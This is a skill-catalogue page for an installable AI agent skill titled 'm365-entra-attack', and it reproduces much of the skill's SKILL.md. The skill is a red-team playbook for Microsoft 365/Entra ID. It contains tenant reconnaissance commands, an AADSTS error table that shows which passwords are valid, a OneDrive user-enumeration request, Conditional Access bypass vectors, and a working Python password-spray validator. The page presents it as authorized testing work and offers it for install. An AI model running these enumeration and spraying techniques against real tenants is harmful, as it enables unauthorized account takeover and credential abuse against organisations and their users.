m365-entra-attack
Microsoft 365 / Entra ID red-team attack chain — current 2026 reality. AADSTS code reference, user enumeration vectors (with hardening status), Smart Lockout math, Conditional Access bypass options, ROPC + SAML SSO browser flow, Burp/Playwright templates.
Install / Use
npx skills add elementalsouls/Claude-BugHunter --skill m365-entra-attackInstalls into whichever agent you are using.
SKILL.md
Installable skill definition
Quality Score
Category
MarketingSupported Platforms
Tags
Our assessment of m365-entra-attack
m365-entra-attack scores 96/100 on our quality scale, 32nd of 351 Marketing skills we index (top 10%).
Its SKILL.md is 22 KB long, well organised into 19 sections with 12 code examples: a thorough specification that gives an agent plenty to work with.
With 4,669 GitHub stars, it is one of the more widely adopted skills in the catalogue.
Maintenance, license and trust
- The repository was last updated 2 days ago, so m365-entra-attack is actively maintained.
- It is released under the MIT license, a permissive license that allows use, modification and commercial use with attribution.
- Its trust signals score 100/100, with no cautions. These come from repository metadata, not a code audit — read the skill file before letting an agent act on it.
m365-entra-attack compared with similar skills
All 4 of these similar skills score higher than m365-entra-attack; compare them before choosing.
| Skill | Score | Stars | Updated | Format |
|---|---|---|---|---|
| m365-entra-attack (this skill)by elementalsouls | 96 | 4.7k | 2d ago | SKILL.md |
| algorithmic-artby anthropics | 100 | 177.9k | 5d ago | SKILL.md |
| pptxby anthropics | 100 | 177.9k | 5d ago | SKILL.md |
| designby nextlevelbuilder | 100 | 130.2k | 7d ago | SKILL.md |
| ui-ux-pro-maxby nextlevelbuilder | 100 | 130.2k | 7d ago | SKILL.md |
Frequently asked questions
- How do I install m365-entra-attack?
- Run
npx skills add elementalsouls/Claude-BugHunter --skill m365-entra-attack. The install tabs above show the steps for each supported agent. - Which AI agents does m365-entra-attack work with?
- It is written for Zed, as a SKILL.md file. Other agents that read the same format can often use it too.
- Is m365-entra-attack safe to use?
- It is MIT-licensed and scores 100/100 on trust signals. Skills are instructions an agent will follow, so read the file before installing it and do not approve commands you do not understand.
- Is m365-entra-attack still maintained?
- The repository was last updated 2 days ago, so m365-entra-attack is actively maintained.
Skill content
View source on GitHubname: m365-entra-attack description: Microsoft 365 / Entra ID red-team attack chain — current 2026 reality. AADSTS code reference, user enumeration vectors (with hardening status), Smart Lockout math, Conditional Access bypass options, ROPC + SAML SSO browser flow, Burp/Playwright templates. Built from authorized red-team work where ROPC spray surfaced pre-existing lockouts and CA-blocked credentials, plus real-time external attacker activity correlation. Use for any M365/Entra credential attack, password spray, user enumeration, CA-bypass exploration, or active-attacker-detection scenario. sources: authorized-engagement, microsoft-docs, AADInternals report_count: 1
When to use this skill
Trigger when:
- Target uses M365 / Entra ID (autodiscover.* records, login.microsoftonline.com redirects, "Microsoft Office 365" in tech-stack notes)
- You have a list of corporate emails or stealer-leaked creds
- Engagement involves "credential spray", "password spray", "Entra attack", "ATO via M365"
- You see
*.onmicrosoft.com,*-my.sharepoint.com,enterpriseregistration.*,enterpriseenrollment.*in recon - Client mentions "Conditional Access", "MFA bypass", "compliant device"
DO NOT use for:
- On-prem-only Active Directory (use a separate AD-attack skill)
- Service-to-service token attacks (different threat model)
- Phishing-required attack chains (covered by phishing skills) — but you can prep for the credential-validation step here
Tenant discovery (msftrecon)
# For each owned domain
msftrecon -d client.example
msftrecon -d clientltd.example
msftrecon -d sister-brand-school.example
Key fields in output:
- Tenant ID (different domains may share OR have separate tenants — always test all owned domains)
- Federation Information.Namespace Type =
Managed(cloud-only, ROPC works) |Federated(ADFS, different attack) - SharePoint Detected (Yes = OneDrive enum vector available)
- Communication Services Teams/Skype (post-auth lateral targets)
- Admin Consent Endpoint accessible (consent-phishing surface)
Red flag: if the org has multiple Entra tenants for sister domains, each is a separate attack surface with its own user list, lockout policy, and CA configuration. Don't assume one spray covers all.
AADSTS code reference (memorize)
| AADSTS | Meaning | Lockout impact | What to do | |---|---|---|---| | 50034 | User does not exist | None | Skip; remove from spray list | | 50126 | Invalid username/password | +1 attempt counter | User exists — try alternate password later (within cap) | | 50053 | Account locked (Smart Lockout) | None (already locked) | Pre-existing → flag to SOC; don't retry | | 53003 | CA blocked token issuance | +1 attempt counter | PASSWORD VALID — STOP, password is correct | | 50076 | MFA required | +1 attempt counter | PASSWORD VALID — second factor needed | | 50079 | Strong auth required | +1 attempt counter | PASSWORD VALID — same as 50076 | | 50158 | External auth required | +1 attempt counter | PASSWORD VALID — federated MFA | | 530003 | Device-state required | +1 attempt counter | PASSWORD VALID — needs compliant device | | 65001 | Consent required | +1 attempt counter | App-consent issue, not auth | | 700016 | App not in tenant | None | User in different tenant — adjust target | | 90002 | Tenant does not exist | None | Tenant typo / dead tenant |
Critical insight: any code in {53003, 50076, 50079, 50158, 530003} means the password is correct — Microsoft only returns these AFTER successful credential validation. Document as a confirmed-valid finding even if you can't get a token.
Smart Lockout math (the cap discipline)
Microsoft default policy:
- 10 failed sign-ins in 10 minutes → 1-minute lockout
- 20 failed sign-ins → progressively longer lockouts (exponential backoff)
- Counter shared across ALL auth flows (ROPC + SAML + IMAP + EWS + SMTP + device-code)
Engagement discipline:
- Hard cap: ≤2 password attempts per user lifetime per engagement (some engagements: 1)
- State file with atomic writes — never let two test runs race the counter
- Kill switch: stop run if more than N LOCKED responses observed (suggests pre-existing attacker activity OR you miscounted; either way pause)
Mathematical guarantee: with 1 attempt per user, you cannot cause Smart Lockout (1 < 10). Any AADSTS50053 you see is therefore pre-existing → use this for active-attacker detection (see mid-engagement-ir-detection skill).
User enumeration — vectors + hardening status (May 2026)
❌ HARDENED (no longer differential)
GET /getuserrealm.srf?login=<email>&xml=1
Returns identical XML for any email matching tenant's owned domain. Tenant-level only, not user-level.
POST /common/GetCredentialType
{"username":"<email>", "isOtherIdpSupported":true, ...}
Returns AADSTS1659001 (missing flowToken) without proper session — can't enumerate.
GET /autodiscover/autodiscover.json/v1.0/<email>?Protocol=AutodiscoverV1
Returns identical 200 + same JSON body for any address. Hardened ~2024.
✅ STILL WORKS (May 2026 — track shelf life)
OneDrive personal-site differential:
GET /personal/<user>_<domain>_com/_layouts/15/onedrive.aspx HTTP/1.1
Host: <tenant>-my.sharepoint.com
- 302 → user EXISTS (auth-required redirect to Authenticate.aspx)
- 404 → user does NOT exist (404 FILE NOT FOUND)
- ZERO authentication attempt → ZERO lockout impact
- Bonus:
Sprequestdurationheader faster (~40ms) for existing users vs ~600ms for non-existent — secondary timing oracle
Caveats:
- Only works if SharePoint is provisioned for the tenant (check msftrecon
SharePoint Detected: Yes) - Microsoft is hardening these endpoints over time — re-verify before relying on it
- Some users may exist in Entra without OneDrive provisioning (license-dependent) — false negatives possible
2026-05-17 re-verification (authorized-engagement revalidation): The OneDrive enum primitive STILL WORKS as of 2026-05-17. Calibration: licensed users return HTTP 200 with ~57KB body; nonexistent users / shared-mailbox accounts return 404 with 0 bytes. The /personal/ root path (without /_layouts/15/onedrive.aspx) returns the same differential.
Killer use case: license differential = account-class signal. Cross-reference OneDrive 200/404 with ROPC AADSTS50034/50126:
| OneDrive | ROPC | Classification | |---|---|---| | 200 | AADSTS50076 (MFA req) or 50126 | Licensed regular user (real employee, MFA enforced) | | 200 | AADSTS50034 | (shouldn't happen — inconsistency, investigate) | | 404 | AADSTS50126 | Shared mailbox / functional / service account (no OneDrive license, has password) — historic MFA-exempt class, prime target for password guessing | | 404 | AADSTS50034 | Doesn't exist in tenant | | 404 | AADSTS50076 | Edge case (functional account WITH MFA enforced — rare) |
The OneDrive-404 + ROPC-50126 combination is the signal for "functional account that might bypass MFA" — admins frequently exempt these from CA policies because they're used by automation that can't satisfy MFA. Discovered usefulness on authorized-engagement revalidation: identified noreply@, purchase@, accounts@, postmaster@, transport@ as functional-account candidates (typical for any conglomerate tenant).
ROPC AADSTS50034 / AADSTS50126 differential:
- AADSTS50034 (user not exist) does NOT increment Smart Lockout counter
- AADSTS50126 (wrong password) DOES increment
- So a 1-attempt-per-user spray can be used as a coarse user-existence enumerator (each AADSTS50034 = miss, each AADSTS50126 = hit + 1 attempt burned)
Conditional Access bypass options (most blocked, document anyway)
| Vector | Status (2026) | Notes |
|---|---|---|
| Different ROPC client_id (Microsoft Graph PowerShell vs Azure CLI vs Office) | Sometimes works | CA can be per-app; try 1b730954-1685-4b74-9bfd-dac224a7b894 (Graph PS), 04b07795-8ddb-461a-bbee-02f9e1bf7b46 (Azure CLI), d3590ed6-52b3-4102-aeff-aad2292ab01c (Office) |
| Different resource (graph.microsoft.com / outlook.office.com / management.azure.com) | Sometimes works | CA scope can be per-resource |
| EWS / IMAP / POP3 / SMTP Basic Auth | Mostly disabled | MS deprecated Basic Auth Oct 2022; per-account exceptions exist |
| FOCI (Family of Client IDs) | Token-refresh path | Use a refresh token from one FOCI client to mint tokens for another |
| Device-code phishing | Works | Requires user-side interaction (OOS for many engagements) |
| Compliant-device emulation | Hard | Requires Intune device registration — high effort, often impossible without insider |
| AiTM session-cookie steal | Works (with phishing) | Modern primary technique — out of scope for non-phishing engagements |
| FOCI + Family Refresh Token Theft | Post-auth | Requires already having a token |
| SAML SSO via different SP | Sometimes | Each enterprise app has its own CA policy; an app with weaker CA = pivot |
| Geo-bypass via VPN | Sometimes | If "trusted location" CA policy includes corp HQ IPs, use a VPN exit there |
Key insight from this engagement: in a tenant with universal CA policy (compliant device + MFA), all the above paths return AADSTS53003 with the same flow. The cred is valid, but unusable from external. Phishing-completed cookie steal is the only realistic adversary path. Document this clearly so the client understands the threat model.
ROPC password validation (the canonical test)
Single-attempt validator pattern (Python):
import urllib.request, urllib.parse, ssl, time, json, os
ctx = ssl.create_default_context(); ctx.check_hostname=False; ctx.verify_mode=ssl.CERT_NONE
ATTEMPT_FILE = "engagement_log/o365_attempts.json"
HARD_CAP = 1 # or 2 — never higher
def attempt(email, password):
state = json.load(open(ATTEMPT_FILE)) if os.path.exists(ATTEMPT_FILE) else {}
if state.get(email.lower(), 0) >= HARD_CAP:
return {"status": "SKIPPED_CAP"}
body = urllib.parse.urlencode({
"resource": "https://graph.windows.net",
"client_id": "1b730954-1685-4b74-9bfd-dac224a7b894", # Microsoft Graph PowerShell
"client_info": "1",
"grant_type": "password",
"username": email,
"password": password,
"scope": "openid",
}).encode()
state[email.lower()] = state.get(email.lower(), 0) + 1
json.dump(state, open(ATTEMPT_FILE+".tmp", "w"))
os.replace(ATTEMPT_FILE+".tmp", ATTEMPT_FILE) # atomic
req = urllib.request.Request(
"https://login.microsoftonline.com/common/oauth2/token",
data=body, method="POST",
)
req.add_header("Content-Type", "application/x-www-form-urlencoded")
try:
r = urllib.request.urlopen(req, context=ctx, timeout=15)
body = json.loads(r.read())
# PARSE AS JSON — see CRITICAL TRAP below about substring matching
if "access_token" in body: # ← JSON key check, NOT substring
return {"status": "VALID", "body": body}
return {"status": "STATUS_200_NO_TOKEN", "body": body}
except urllib.error.HTTPError as e:
msg = e.read().decode(errors="ignore")
for code, status in [
("AADSTS50034", "INVALID_USER"),
("AADSTS50126", "INVALID_PW"),
("AADSTS50053", "LOCKED"),
("AADSTS53003", "VALID_CA_BLOCK"),
("AADSTS50076", "VALID_MFA"),
("AADSTS50079", "VALID_MFA"),
]:
if code in msg:
return {"status": status, "code": code}
return {"status": "OTHER", "msg": msg[:200]}
⚠ CRITICAL TRAP — AADSTS50076 body contains literal "access_token" substring
When CA policy requires MFA and ROPC cannot satisfy it, Entra returns an error body that INCLUDES a claims field listing CA policy IDs as a step-up challenge:
{
"error": "invalid_grant",
"error_description": "AADSTS50076: ...you mu
Truncated for display — read the full file on GitHub.
Related Skills
algorithmic-art
177.9kCreating algorithmic art using p5.js with seeded randomness and interactive parameter exploration. Use this when users request creating art using code, generative art, algorithmic art, flow fields, or particle systems.
pptx
177.9kUse this skill any time a .pptx or .potx file is involved in any way — as input, output, or both. This includes: creating slide decks, pitch decks, or presentations; reading, parsing, or extracting text from any .pptx or .potx file (even if the extracted content will be used elsewhere, like in an em…
design
130.2kComprehensive design skill: brand identity, design tokens, UI styling, logo generation (55 styles, Gemini, Atlas Cloud, or MuAPI AI), corporate identity program (50 deliverables, CIP mockups), HTML presentations (Chart.js), banner design (22 styles, social/ads/web/print), icon design (15 styles, SVG…
ui-ux-pro-max
130.2kUI/UX design intelligence for web, mobile, and desktop. This skill should be used when designing, building, reviewing, or fixing interfaces, including pages, components, design systems, accessibility, interaction, responsive layout, typography, color, charts, and stack-specific UI implementation.
Languages
Trust signals
From repository metadata: license, adoption, age and documentation. Not a code audit — see the Safety scan above for what the skill file itself contains.
